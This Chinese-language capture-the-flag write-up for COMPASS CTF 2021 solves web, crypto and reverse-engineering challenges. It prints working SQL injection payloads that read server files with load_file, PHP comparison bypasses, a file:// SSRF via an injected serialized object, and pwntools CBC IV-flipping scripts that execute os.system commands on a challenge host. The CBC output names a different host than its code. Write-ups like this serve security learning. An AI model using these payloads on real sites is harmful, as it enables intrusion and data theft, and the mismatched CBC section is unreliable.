\u4ec0\u4e48\uff1f\u8089\u773c\u770bflag\u592a\u96be\u4e86\uff1f\u89e3\u51b3\u65b9\u6cd5\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\u4ee5\u4e0b\uff1a - \u4e70\u4e2a\u597d\u7528\u7684\u773c\u955c\u6216\u8005\u627e\u51c6\u65f6\u673aOCR\u4e00\u4e0bflag - \u628a\u88ab\u52a0\u5bc6\u7684JS\u653e\u5230\u5728\u7ebfJS\u538b\u7f29\u7f51\u7ad9\u89e3\u5bc6\u5f97\u5230flag\u53d8\u91cf\u540d \u67e5\u770bt\u53d8\u91cf\u7684\u503c - \u901a\u8fc7window\u53d8\u91cf\u67e5\u770b\u6240\u6709\u53d8\u91cf\u7684\u503c \u5176\u4e2d\u5c31\u6709flag
\u76f8\u4fe1\u5927\u5bb6\u53ef\u4ee5\u8f7b\u677e\u5b8c\u6210\u7b7e\u5230
flag{Ev3ry_0ne_1ove5_baNaNa_exCept_fu*k1n9_js}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#trickyphp","title":"trickyPHP","text":"\u7ed9\u4e86\u6e90\u7801\uff0c\u6765\u4e00\u70b9\u70b9\u8fc7\u5173\u3002\u7b2c\u4e00\u5173\u662f\u9700\u8981say\u4e2d\u5305\u542bJOIN_COMPASS_CTF#\uff0c\u4f46\u662f\u9996\u5148\u4f1a\u6b63\u5219\u5361\u6389COMPASS\u3002
$say = preg_replace('/^(.*)COMPASS(.*)$/', '${1}<!--nope-->${2}', $_GET['say']);\n if (preg_match('/JOIN_COMPASS_CTF#/', $say)) {\n echo \"Welcome to COMPASS CTF, continue hacking!<br>\";\n } else {\n echo 'Bad hacker!';\n }\n
\u6362\u884c\u7ed5\u8fc7\u6b63\u5219\uff0c\u7528url\u7f16\u7801\u907f\u514d#\u88ab\u89e3\u6790\u4e3ahtml\u6807\u7b7e\uff1a
?say=%0aJOIN_COMPASS_CTF%23
\u7b2c\u4e8c\u5173\u9700\u8981post\u4e24\u4e2a\u5185\u5bb9\u4e0d\u540c\u4f46\u662fsha1\u4e00\u6837\u7684\u5185\u5bb9
if ($_POST['user'] == $_POST['pwd']) {\n echo 'You cant do that!';\n} else if (sha1($_POST['user']) === sha1($_POST['pwd'])) {\n echo 'Great, you almost get there!<br>';\n} else {\n die(\"Not same, sorry.\");\n}\n
\u5f88\u5bb9\u6613\u60f3\u5230\u78b0\u649e\uff0c\u4f46\u662f\u5728php\u4e2d\u6709\u66f4\u7b80\u5355\u65b9\u6cd5\uff1a\u4f20\u5165\u975e\u5b57\u7b26\u4e32\u5185\u5bb9\uff0csha1\u4f1a\u8fd4\u56de\u5931\u8d25\uff0c\u9020\u6210false===false\uff0c\u6bd4\u5982\u4f20\u5165\u5185\u5bb9\u4e0d\u540c\u7684\u4e24\u4e2a\u6570\u7ec4\u3002
user[]=1&pwd[]=2
\u7b2c\u4e09\u5173\u89e3\u7801json\u683c\u5f0f\u7684flag\uff0c\u7136\u540e\u548cflag\u5f31\u6bd4\u8f83
$leve1_3 = json_decode($_POST['flag']);\nif ($leve1_3->result == $flag) {\n echo \"Congratulations, you won your flag:    \" . $flag;\n} else {\n echo \"So close!!!\";\n}\n
\u5f31\u6bd4\u8f83\u65f6\uff0c\u6211\u4eec\u53ef\u63a7\u7684\u53d8\u91cf\u5728\u5de6\u8fb9\uff0c\u53ef\u4ee5\u76f4\u63a5\u4ee4\u5176\u4e3a0\u4f7f\u5f97\u6761\u4ef6\u6052\u6210\u7acb\u3002
flag={\"result\":0}
\u7ec4\u5408\u8d77\u6765\u5c31\u662f
GET(\"http://xx.xx/?say=%0aJOIN_COMPASS_CTF%23\") user[]=1&pwd[]=2&flag={\"result\":0}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#life-restart","title":"Life Restart","text":"\u770b\u4e00\u4e0b\u6587\u4ef6\u7ed3\u6784 \u4ece\u6587\u4ef6\u540d\u4e0d\u96be\u63a8\u6d4b - \u5f00\u5c40\u5929\u8d4b\u62bd\u5361\u7684\u76f8\u5173\u903b\u8f91\u4f4d\u4e8etalent.js + \u7206\u6539\u6b27\u7687\u6982\u7387 \u663e\u71363\u662f\u6700\u597d\u7684 \u76f4\u63a5return3\u5c31\u80fd\u6b27\u7687\u9644\u4f53\uff1a javascript const randomGrade = () => { let randomNumber = Math.floor(Math.random() * 1000); //\u5220\u6389 if((randomNumber -= rate[3]) < 0) return 3; //\u5220\u6389 if((randomNumber -= rate[2]) < 0) return 2; //\u5220\u6389 if((randomNumber -= rate[1]) < 0) return 1; //\u5220\u6389 return 0; //return 3 }
- \u5c5e\u6027\u5206\u914d\u7684\u76f8\u5173\u903b\u8f91\u4f4d\u4e8eproperty.js + \u7206\u6539\u5f00\u5c40\u5c5e\u6027 \u52a0\u4e00\u5806\u521d\u59cb\u503c\uff1a ```javascript restart(data) { this.#data = { [this.TYPES.AGE]: -1,
[this.TYPES.CHR]: 0, //\u52a0\uff01\n [this.TYPES.INT]: 0, //\u52a0\uff01\n [this.TYPES.STR]: 0, //\u52a0\uff01\n [this.TYPES.MNY]: 0, //\u52a0\uff01\n [this.TYPES.SPR]: 0, //\u52a0\uff01\n```\n
javascript trajectoryPage .find('#auto') .click(()=>auto(1000)); trajectoryPage .find('#auto2x') .click(()=>auto(500)); // \u6539\u4e3a0
\u73b0\u5728\u5f00\u5c40\u5c31\u6709\u65e0\u9650\u5c5e\u6027+\u5168\u6a59\u5361 \u5f00\u59cb\u4f60\u7684\u9006\u5929\u4e4b\u8def\u5427\uff01 \u4e0d\u4e00\u5b9a\u80fd\u6e21\u52ab\u6210\u529f \u4f46\u662f\u56e0\u4e3a\u6539\u6389\u4e86\u5ef6\u8fdf\uff0c\u57fa\u672c\u4e00\u8f6e\u4e0d\u52305\u79d2 \u5f00\u51e0\u8f6e\u5c31\u80fd\u62ff\u5230flag\u3002
flag{My_fate_1s_up_to_M3_in_Cyber_W0rld}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#bbs","title":"BBS","text":"\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7 \u767b\u5f55\u540e\u53d1\u73b0\u7f51\u9875\u4f1a\u5185\u5d4cblog\u4e2d\u7684\u7f51\u5740\uff0c\u540c\u65f6\u53d1\u73b0\u8bf7\u6c42\u7684\u53c2\u6570\u4e3a
view.php?no=2
\u52a0\u4e2a\u5206\u53f7\u8bd5\u8bd5 view.php?no=2'
[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
\u770b\u5230\u8fd9\u62a5\u9519\u4fe1\u606f\uff0cDNA\u52a8\u4e86 orderby\u7206\u5b57\u6bb5\u6570\u91cf\uff0c5\u65f6\u62a5\u9519\u8bf4\u660e\u5b57\u6bb5\u6570\u4e3a4
?no=1 order by 4#
union select\u88ab\u5c4f\u853d \u7528/**/\u5c31\u53ef\u4ee5\u7ed5\u8fc7\uff0c\u53d1\u73b0\u5b57\u6bb52\u53ef\u4ee5\u76f4\u63a5\u56de\u663e
?no=9 union/**/select 1,2,3,4#
\u8fd9\u65f6\u5019\u6709SQL\u6ce8\u5165\u5927\u4f6c\u53ef\u80fd\u4f1a\u5148\u770b\u770b\u6743\u9650
?no=9 union/**/select 1,user(),3,4#
\u4e00\u67e5\u5413\u4e00\u8df3\uff0croot@localhost\uff0c\u90a3\u8fd8\u6ce8\u4ec0\u4e48\uff0c\u76f4\u63a5\u968f\u4fbf\u6253\u62ffflag\u4e86
?no=9 union/**/select 1,load_file(\"/var/www/html/flag.php\"),3,4#
\u6267\u884c\u540e\u5728\u7528\u6237\u540d\u7684\u5730\u65b9\u67e5\u770b\u6e90\u7801\u5c31\u80fd\u5f97\u5230flag
\u90a3\u5982\u679c\u4e0d\u662fSQL\u6ce8\u5165\u5927\u4f6c\uff0c\u6ca1\u6709\u4e00\u6b65\u62ff\u5230flag\uff0c\u6211\u4eec\u63a5\u7740\u5f80\u4e0b\u505a\uff1a \u67e5\u4fe1\u606f\u8868\u627e\u8868\u540d\uff0c\u5217\u540d \u5185\u5bb9
?no=9 union/**/select 1,(select table_name from information_schema.tables limit 1 offset 0),3,4#
?no=9 union/**/select 1,(select column_name from information_schema.columns where table_name='users' limit 1 offset 3),3,4#
?no=9 union/**/select 1,(select data from users where no=2),3,4# \u53ef\u4ee5\u77e5\u9053\u8868\u7684\u7ed3\u6784\u4e3a\uff1a - no \u7528\u6237id - name \u7528\u6237\u540d - password \u5bc6\u7801\u7684hash - data O:8:\"UserInfo\":3:{s:4:\"name\";s:1:\"a\";s:3:\"age\";i:1;s:4:\"blog\";s:20:\"http://www.baidu.com\";}
\u5176\u4e2ddata\u770b\u8d77\u6765\u662f\u5e8f\u5217\u5316\u7684php\u5185\u5bb9\uff0c\u8bd5\u7740\u653e\u5230\u7ed3\u679c\u4e2d
?no=9 union/**/select 1,2,3,'O:8:\"UserInfo\":3:{s:4:\"name\";s:1:\"a\";s:3:\"age\";i:1;s:4:\"blog\";s:20:\"http://www.baidu.com\";}'#
\u4f1a\u53d1\u73b0\u53cd\u5e8f\u5217\u5316\u4e86\u6211\u4eec\u7684\u5185\u5bb9\uff0c\u8fd9\u65f6\u5019\u6709\u7ecf\u9a8c\u7684web\u5927\u4f6c\u53c8\u5df2\u7ecf\u60f3\u5230\u4e86\u4f2a\u534f\u8baeSSRF\u4e86\uff0c\u53ea\u9700\u8981\u66f4\u6539\u4e00\u4e0b\u5e8f\u5217\u5316\u7684\u5185\u5bb9\u5c31\u80fd\u8bfb\u51faflag \u6ca1\u6709\u60f3\u5230\u7684\u540c\u5b66\u4e5f\u53ef\u4ee5\u901a\u8fc7\u67e5\u770brobots.txt\u5f97\u5230\u6e90\u7801 \u67e5\u770b\u903b\u8f91\u5f97\u77e5\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b
?no=9 union/**/select 1,2,3,'O:8:\"UserInfo\":3:{s:4:\"name\";s:1:\"a\";s:3:\"age\";i:1;s:4:\"blog\";s:29:\"file:///var/www/html/flag.php\";}'#
\u6267\u884c\u540e\u5728bolg\u9884\u89c8\u7684\u5730\u65b9\u67e5\u770b\u6e90\u7801\u5c31\u80fd\u5f97\u5230flag
flag{U_mast3red_inj3ctiOn_Unser1alize_and_SSrF!}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#crypto","title":"Crypto","text":""},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#at_bash","title":"at_bash","text":"\u6709\u5f88\u591a\u79cd\u65b9\u6cd5\u505a\uff0c\u5206\u4eab\u51e0\u4e2a\u81ea\u52a8\u5316\u7684\u89e3\u6cd5\uff0c\u4ee5\u4e0b\u4ed3\u5e93\u90fd\u5728github\u4e0a\u5f00\u6e90\uff0c\u5176\u4e2dCyberChief\u6709\u5728\u7ebf\u7248\u672c\uff1a - Ciphey \u53ef\u4ee5\u5168\u81ea\u52a8\u89e3\u51b3\u95ee\u9898 - BaseCrack \u53ef\u4ee5\u89e3\u51b3\u5927\u91cf\u7684base\u7f16\u7801 - CyberChief \u53ef\u4ee5\u81ea\u52a8\u89e3\u51b3\u5f88\u591a\u6b65\u9aa4
\u672c\u9898\u540d\u79f0\u63d0\u793a\u6700\u540e\u4e00\u6b65\u662fatbash\u89e3\u7801\uff0c\u5982\u679c\u6ca1\u6709\u60f3\u5230\u76f4\u63a5\u767e\u5ea6\u641c\u7d22\"ctf uozt{}\"\u6216\u8005\u641c\u7d22\"crypto uozt{}\"\u90fd\u80fd\u5f97\u5230\u89e3\u6cd5
flag{wOW_y0U_Real1y_ma5ter3d_enc0d1ng!}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#variable","title":"variable","text":"\u6839\u636e\u5df2\u77e5\u7684flag{}\u683c\u5f0f\u5199\u51fa\u65b9\u7a0b\u6c42\u89e3abcd\uff1a
from z3 import *\n\nsolver = Solver()\n\na = Real('a')\nb = Real('b')\nc = Real('c')\nd = Real('d')\nsolver.add(a * pow(ord('f'), 3) + b * pow(ord('f'), 2) + c * ord('f') + d == 5699462831574115)\nsolver.add(a * pow(ord('l'), 3) + b * pow(ord('l'), 2) + c * ord('l') + d == 6762178137517177)\nsolver.add(a * pow(ord('a'), 3) + b * pow(ord('a'), 2) + c * ord('a') + d == 4904006952609865)\nsolver.add(a * pow(ord('g'), 3) + b * pow(ord('g'), 2) + c * ord('g') + d == 5868227804276587)\nsolver.add(a * pow(ord('{'), 3) + b * pow(ord('{'), 2) + c * ord('{') + d == 9978816733414447)\nsolver.add(a * pow(ord('}'), 3) + b * pow(ord('}'), 2) + c * ord('}') + d == 10472292506842245)\nif solver.check() == sat:\n for i in str(solver.model())[1:-1].split(\",\"):\n print(i.strip())\n
\u89e3\u51faabcd\u7684\u503c\u540e\u5e26\u5165\u6c42\u89e3\uff1a
b = 4849411009\na = 5322682364\nd = 4215800245\nc = 5218014711\nenc = [5699462831574115, 6762178137517177, 4904006952609865, 5868227804276587, 9978816733414447, 2555804598727387,\n 7339798412634739, 9038863758685179, 4607800653388515, 8591875579876765, 4607800653388515, 2012199806528365,\n 761800081770865, 8813480590313107, 718942790851879, 4607800653388515, 8374016791281969, 6040291893502029,\n 5533965039300429, 4607800653388515, 4904006952609865, 5056755384110247, 6215687035344625, 6762178137517177,\n 638111591795929, 3189435100987729, 9501092313613249, 4607800653388515, 8374016791281969, 7339798412634739,\n 4607800653388515, 1622988744649015, 7949410135240279, 9501092313613249, 7539405133434565, 8374016791281969,\n 600073811470597, 196738654989577, 10472292506842245]\n\nfor i in enc:\n for j in range(32, 127):\n if a * j ** 3 + b * j ** 2 + c * j + d == i:\n print(chr(j), end=\"\")\n
\u5373\u5f97flag
flag{Now_u_H4v3_the_abil1Ty_to_Crypt0!}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#cbc","title":"CBC","text":"\u53ef\u4ee5\u901a\u8fc7\u7ed9\u51fa\u7684\u5bc6\u6587\u53cd\u89e3IV\uff0c\u793a\u4f8b\u4ee3\u7801+\u8fd0\u884chello world
from pwn import *\nfrom Crypto.Util.Padding import pad\n\nlocal = True\n\nhost, port = \"103.102.44.218\", 10007\n\nif local:\n p = process('python CBC.py', shell=True)\nelse:\n p = remote(host,port)\n\np.recvuntil(b'sample encryption\\n')\nsample = p.recvline()\n\niv = unhex(sample[:32])\nct = unhex(sample[32:])\npt = b'trapped_forever'\n\nlog.info(f'got iv: {enhex(iv)}')\nlog.info(f'got ct: {enhex(ct)}')\nlog.info(f'got pt: {enhex(pt)}')\n\npt = pad(pt, 16)\npl = pad(b'print(\"hello\")', 16)\n\nlog.info(f'sending: {pl}')\nres = p.recvuntil(b'>>')\ntarget = xor(pt, pl)\nnew_iv = xor(target, iv)\n\nfinal_payload = enhex(new_iv) + enhex(ct) \np.sendline(final_payload.encode())\np.interactive()\n
\u5f97\u5230\u4e86\u9884\u671f\u7ed3\u679c
$ python helloworld.py \n[+] Starting local process '/bin/sh': pid 379634\n[*] got iv: 2d9563e81f33b3501e1e362e0f6fb173\n[*] got ct: 2a835fcae4c11657a7b6ddae5a6e8ed1\n[*] got pt: 747261707065645f666f7265766572\n[*] sending: b'print(\"hello\")\\x02\\x02'\n[*] Switching to interactive mode\nhello\n>>\n
\u5c06hello world\u66ff\u6362\u6210\u6211\u4eec\u60f3\u8981\u7684\u547d\u4ee4\uff0c\u6e90\u7a0b\u5e8f\u5df2\u7ecf\u5bfc\u5165\u4e86OS\u5e93\uff0c\u4e0d\u9700\u8981\u518d\u6b21import\uff0c\u4e8e\u662f\u4f7f\u7528os.system('ls -la')
#!/usr/bin/python3\n\nfrom pwn import *\nfrom Crypto.Util.Padding import pad\n\nlocal = True\n\nhost, port = \"103.102.44.218\", 10007\n\nif local:\n p = process('python CBC.py', shell=True)\nelse:\n p = remote(host,port)\n\np.recvuntil(b'sample encryption\\n')\nsample = p.recvline()\n\niv = unhex(sample[:32])\nct = unhex(sample[32:])\npt = b'trapped_forever'\n\nlog.info(f'got iv: {enhex(iv)}')\nlog.info(f'got ct: {enhex(ct)}')\nlog.info(f'got pt: {enhex(pt)}')\n\npt = pad(pt, 16)\n\ndef encpayload(s):\n hexed = enhex(s)\n encoded = '|\\\\x'.join([hexed[x:x+2] for x in range(0, len(hexed), 2)]).split('|')\n parts = [f\"a='\\\\x{encoded[0]}'\"]\n for i, p in enumerate(encoded[1:]):\n parts.append(f\"a+='{p}'\")\n\n return parts\n\n# any payload will do, we can keep appending anything to variable\npayload_list = encpayload(b'os.system(\"ls -la\")')\npayload_list.append('print(a)')\npayload_list.append('exec(a)') \n\nfor pl in payload_list:\n res = p.recvuntil(b'>>')\n\n pl = pad(pl.strip().encode(), 16)\n\n target = xor(pt, pl)\n new_iv = xor(target, iv)\n\n final_payload = enhex(new_iv) + enhex(ct) \n p.sendline(final_payload.encode())\n\np.interactive()\n
\u7ed9\u51fa\u4e86\u60f3\u8981\u7684flag
$ ./solve.py \n[+] Opening connection to jail-crypto.challenge.cryptonite.team on port 1337: Done\n[*] got iv: 7f3468ee6bec6395f9a6a96eaf078612\n[*] got ct: c67bd34273a2f25477432de5590fcad2\n[*] got pt: 747261707065645f666f7265766572\nos.system(\"ls -la\")\ntotal 16\ndrwxr-xr-x 2 nobody nogroup 4096 Dec 10 13:44 .\ndrwxr-xr-x 3 nobody nogroup 4096 Dec 10 13:44 ..\n-rw-r--r-- 1 nobody nogroup 41 Dec 6 13:08 flag.txt\n-rw-r--r-- 1 nobody nogroup 0 Dec 6 13:08 flag{w0W_s3Ems_u_really_g00D_4t_crypt0!}\n-rwxr-xr-x 1 nobody nogroup 1387 Dec 6 13:08 CBC.py\n>>\n
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#re","title":"Re","text":""},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#bogo","title":"bogo","text":"\u7a0b\u5e8f\u9996\u5148\u5bf9char flag\u6570\u7ec4\u6bcf\u4e2a\u5143\u7d20+32\u5f97\u5230flag\uff0c\u7136\u540e\u5f00\u59cb\u968f\u673a\u751f\u6210\u53ef\u6253\u5370\u7684flag\u5b57\u7b26\u4e32\u8fdb\u884c\u6bd4\u8f83\u3002 \u5982\u679c\u751f\u6210\u7684\u968f\u673a\u5185\u5bb9\u6b63\u597d\u662f\u6b63\u786e\u7684flag\u5c31\u663e\u793a\u6b63\u786e\u7ed3\u675f\u7a0b\u5e8f\uff0c\u5982\u679c\u4e0d\u6b63\u786e\u5c31\u7ee7\u7eed\u968f\u673a\u751f\u6210\u3002 \u6211\u4eec\u53ef\u4ee5\uff1a - 1 \u8ba9\u7334\u5b50\u6162\u6162\u751f\u6210\uff0c\u53cd\u6b63\u627e\u5230\u6b63\u786eflag\u7684\u6982\u7387\u4e0d\u662f0 - 2 \u76f4\u63a5\u628aflag\u6570\u7ec4\u7684\u5185\u5bb9+32\u62ff\u5230flag
\u76f8\u4fe1\u5927\u5bb6\u53ef\u4ee5\u5f88\u5feb\u505a\u51fa\u8fd9\u9053\u9898\u3002
flag{we1c0m3_tO_rEv3re_w0r1d!}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#extremely-slow","title":"Extremely slow","text":"IDA\u6253\u5f00\uff0c\u53d1\u73b0\u662f\u4e0d\u719f\u6089\u7684\u754c\u9762 \u6709\u7ecf\u9a8c\u7684\u540c\u5b66\u4f1a\u76f4\u63a5\u770b\u51fd\u6570\u680f\u4e2d\u6700\u4e0a\u8fb9\u51e0\u4e2a\u51fd\u6570\u5c31\u662f\u5165\u53e3\u51fd\u6570 \u4f46\u662f\u6211\u4e0d\u559c\u6b22exe\uff0c\u4e5f\u4e0d\u77e5\u9053\u600e\u4e48\u627e\u5165\u53e3\u51fd\u6570\uff0c\u4e8e\u662f\u6309\u4e0bshift+F12\uff0c\u7d27\u63a5\u7740ctrl+F\uff0c\u8f93\u5165\"flag\"\uff0c\u6309\u4e0b\u56de\u8f66\uff0c\u4e00\u6574\u5957\u64cd\u4f5c\u4e00\u6c14\u5475\u6210\uff0c\u7136\u540e\u4e5f\u53ef\u4ee5\u627e\u5230\uff1a \u53cc\u51fb\u7ed3\u679c\uff0c\u518d\u53cc\u51fbDATA XREF: sub_1400010C0\u8ddf\u8fdb\u5f15\u7528\u5c31\u627e\u5230\u4e86\u4e3b\u51fd\u6570 \u6309\u4e0bF5\uff0c\u4e3b\u51fd\u6570\u903b\u8f91\u5341\u5206\u6e05\u695a\u3002\u91cd\u547d\u540d\u51e0\u4e2a\u53d8\u91cf\u5c31\u80fd\u5f97\u5230\uff1a
__int64 sub_1400010C0(){\n int l; // [rsp+20h] [rbp-38h]\n int j; // [rsp+24h] [rbp-34h]\n int k; // [rsp+28h] [rbp-30h]\n int i; // [rsp+2Ch] [rbp-2Ch]\n HANDLE hConsoleOutput; // [rsp+38h] [rbp-20h]\n CONSOLE_CURSOR_INFO ConsoleCursorInfo; // [rsp+40h] [rbp-18h] BYREF\n ULONGLONG v7; // [rsp+48h] [rbp-10h]\n\n printf(\"You will find flag here!\\n\");\n hConsoleOutput = GetStdHandle(0xFFFFFFF5);\n SetConsoleTextAttribute(hConsoleOutput, 0xAu);\n ConsoleCursorInfo.dwSize = 1;\n ConsoleCursorInfo.bVisible = 0;\n SetConsoleCursorInfo(hConsoleOutput, &ConsoleCursorInfo);\n v7 = GetTickCount64();\n menset(flag_arr, 61i64, 1600i64);//61\u662f\"=\"\u7684ASCII\n for ( i = 0; i < 97; ++i ) //\u5faa\u73af97\u6b21\n {\n SetConsoleCursorPosition(hConsoleOutput, 0);\n for ( j = 0; j < 20; ++j )//\u603b\u517120\u884c\n {\n for ( k = 0; k < 80; ++k )//\u6bcf\u884c80\u4e2a\u5b57\u7b26\n putchar(flag_arr[80 * j + k]); //\u6253\u5370\u6bcf\u4e2a\u5b57\u7b26\n printf(\"\\n\");//\u6253\u5370\u6362\u884c\u7b26\n }\n for ( l = 0; l < 1600; ++l ) //data_arr\u662f97\u4e2achar[1600]\uff0c\u6b63\u597d\u6bcf\u4e2a\u5b57\u7b26\u90fd\u4ea6\u6216\u4e00\u6b21\n flag_arr[l] ^= *(_BYTE *)(data_arr[i] + l);\n Sleep(100);//\u6bcf\u8f6e\u90fd\u6682\u505c0.1\u79d2\n if ( GetTickCount64() - v7 > 4000 )\n return 0i64;//\u5982\u679c\u7a0b\u5e8f\u8fd0\u884c\u65f6\u95f4\u8d85\u8fc74\u79d2\u9000\u51fa\u7a0b\u5e8f\n }\n system(\"pause > nul\");\n return 0i64;\n}\n
\u6240\u4ee5\u7a0b\u5e8f\u5c31\u662f\u4e00\u4e2a\u521d\u59cb\u6570\u7ec4\u548c97\u4e2a\u7b49\u957f\u7684\u6570\u7ec4\u6bcf\u4e2a\u4ea6\u6216\u4e00\u6b21\uff0c\u5f97\u5230\u6700\u7ec8\u7684\u8f93\u51fa \u4f46\u662f\u6bcf\u6b21\u4ea6\u6216\u5b8c\u90fd\u4f1a\u6682\u505c0.1\u79d2\uff0c40\u6b21\u4e4b\u540e\u5c31\u4f1a\u9000\u51fa\u3002 \u90a3\u4e48\u53ef\u4ee5\u8003\u8651\u7684\u89e3\u6cd5\u6709\uff1a - \u5bfc\u51fa97\u4e2a\u6570\u7ec4\uff0c\u7136\u540e\u6a21\u62df\u4ea6\u6216\u8fc7\u7a0b\u5f97\u5230\u6700\u7ec8\u8f93\u51fa - \u628asleep\u7981\u7528 - \u628a\u8d85\u65f6return\u7981\u7528
\u89e3\u6cd51 \u7981\u7528sleep\uff1a \u627e\u5230Sleep\u51fd\u6570\u7684\u5730\u65b9\uff0cEdit -> Patch Program -> Assemble \u5c06Sleep\u7684\u6beb\u79d2\u53c2\u6570\u4ece
mov ecx, 64h
\u4fee\u6539\u4e3a
mov ecx, 0h
\u70b9\u51fb\u786e\u5b9a\u4fee\u6539\u5b8c\u672c\u884c\u540eIDA\u8fd8\u4f1a\u81ea\u52a8Patch\u4e0b\u4e00\u884c\u6c47\u7f16\uff0c\u8fd9\u65f6\u5019\u53d6\u6d88\u5373\u53ef \u4e4b\u540e\u5e94\u7528\u4fee\u6539\uff0cEdit -> Patch Program -> Apply Patches to input file \u7136\u540e\u8fd0\u884c\u7a0b\u5e8f\u5373\u53ef\u770b\u5230\u6f02\u4eae\u7684flag
\u89e3\u6cd52 \u963b\u6b62\u8d85\u65f6\uff1a \u7c7b\u4f3c\u65b9\u6cd51\uff0c\u4fee\u6539\u9650\u5236\u65f6\u95f4\u7684cmp rax, 0FA0h\u4e3a\u66f4\u5927\u7684\u6570\u5b57 \u6216\u8005\u4fee\u6539\u8fd4\u56de\u5206\u652f\u7684\u8df3\u8f6c\u6761\u4ef6jbe short loc_14000124D
\u89e3\u6cd53 \u6a21\u62df\u4ea6\u6216\u8fc7\u7a0b\uff1a 97\u4e2a\u6570\u7ec4\u5728\u7a0b\u5e8f\u4e8c\u8fdb\u5236\u4e2d\u662f\u8fde\u7eed\u7684\uff0c\u53ef\u4ee5\u8ba1\u7b97\u504f\u79fb\u91cf\u4e4b\u540e\u5165\u8bfb\u4e8c\u8fdb\u5236\u7136\u540e\u624b\u52a8\u5206\u5272\u6570\u636e
\u63a8\u8350\u89e3\u6cd51\uff0c\u4e00\u6b65\u5230\u4f4d\u3002
flag{p47ch_PrO6r4m_1s_n0t_A_h4rd_7hin9}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#random","title":"Random","text":"\u521d\u59cb\u968f\u673a\u79cd\u5b50\u6ca1\u6709\u968f\u673a\u5316\uff0c\u56e0\u6b64\u7b2c\u4e00\u4e2a\u968f\u673a\u6570\u4e5f\u662f\u5b9a\u503c\uff0c\u7528\u5176\u505a\u79cd\u5b50\u4e4b\u540e\u6574\u4e2a\u5e8f\u5217\u90fd\u662f\u56fa\u5b9a\u7684\uff0c\u4f46\u662f\u7a0b\u5e8f\u903b\u8f91\u662f\u6709\u5751\u7684\u4e0d\u597d\u590d\u73b0\u4ee3\u7801\uff0c\u6240\u4ee5\u52a8\u6001\u8c03\u8bd5\u83b7\u53d6\u6574\u4e2aXOR\u5e8f\u5217\u7684\u6700\u7ec8\u503c\uff1a \u6211\u9009\u62e9\u4f7f\u7528IDA\u8fdb\u884c\u52a8\u6001\u8c03\u8bd5\uff0c\u5728\u8fd9\u91cc\u4e0b\u65ad\u70b9
\u6267\u884c\u540e\u5728\u5f39\u7a97\u84dd\u5b57\u4e2d\u9009\u62e9\u8ba9IDA\u81ea\u52a8\u628a\u6240\u6709\u5f02\u5e38\u4f20\u7ed9\u7a0b\u5e8f \u89e6\u53d1\u65ad\u70b9\u540e\u5c31\u53ef\u4ee5\u53cc\u51fb\u8ddf\u8fdbbyte_983370\u5f97\u5230\u8fd0\u7b97\u7ed3\u679c
\u6700\u540e\u5c31\u662f\u7528\u52a8\u6001\u83b7\u53d6\u7684byte_983370\u503c\u4ea6\u6216\u8f93\u5165\u518d\u4ea6\u6216\u6700\u540e\u7684\u6bd4\u8f83\u6570\u7ec4byte_E62138 \u8fd9\u91cc\u6211\u7684\u8f93\u5165\u662f44\u4e2a\u6570\u5b571\uff0c\u56e0\u6b64\u811a\u672c\u5982\u4e0b\uff1a
# \u5199\u6b7b\u7684\u6bd4\u8f83\u6570\u7ec4\nbyte_E62138 = [0x3e, 0xcd, 0xaa, 0x8e, 0x96, 0x69, 0x94, 0x98, 0xda, 0xa8, 0x27, 0xa4, 0xf7, 0xc5, 0xfb, 0x90, 0xf3,\n 0xb3, 0xdf, 0xd8, 0x71, 0x30, 0x47, 0x19, 0x1b, 0x65, 0xd, 0xca, 0x6f, 0x8, 0x89, 0x8c, 0xe7, 0x87, 0x5d,\n 0xbc, 0x9f, 0xf2, 0x83, 0x69, 0x8d, 0x24, 0xD3, 0x5A]\n# \u8c03\u8bd5\u65f6\u83b7\u53d6\u7684byte_983370\nkey = [0x69, 0x90, 0xFA, 0xD8, 0xDC, 0x1D, 0xDD, 0xCA, 0xD8, 0xF5, 0x27, 0xA6, 0xA8, 0x80, 0x95, 0xD8, 0xF2, 0xF7, 0xB1,\n 0x8E, 0x0F, 0x75, 0x29, 0x1F, 0x42, 0x67, 0x63, 0x89, 0x6A, 0x57, 0xDC, 0x8D, 0xBB, 0xE9, 0x07, 0xBE, 0xD7, 0xE2,\n 0x80, 0x60, 0x88, 0x68, 0xD3, 0x5A]\n\nfor i in range(0, 42):\n print(chr(key[i] ^ byte_E62138[i] ^ ord('1')), end='')\n
\u8fd0\u884c\u83b7\u5f97flag
flag{Exc3l13nt_y0u_gOt_7h3_r4nd0m_k3y!284}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#java_re","title":"java_re","text":"Jd-GUI\u6253\u5f00\uff0c\u4e3b\u8981\u903b\u8f91\u662f\u5c06\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u505aDES\u52a0\u5bc6\uff0c\u5bc6\u94a5\u662feasy_key\uff0c\u5982\u679c\u7ed3\u679c\u7b49\u4e8e\u5bc6\u6587\u8bc1\u660e\u8f93\u5165\u7684flag\u6b63\u786e
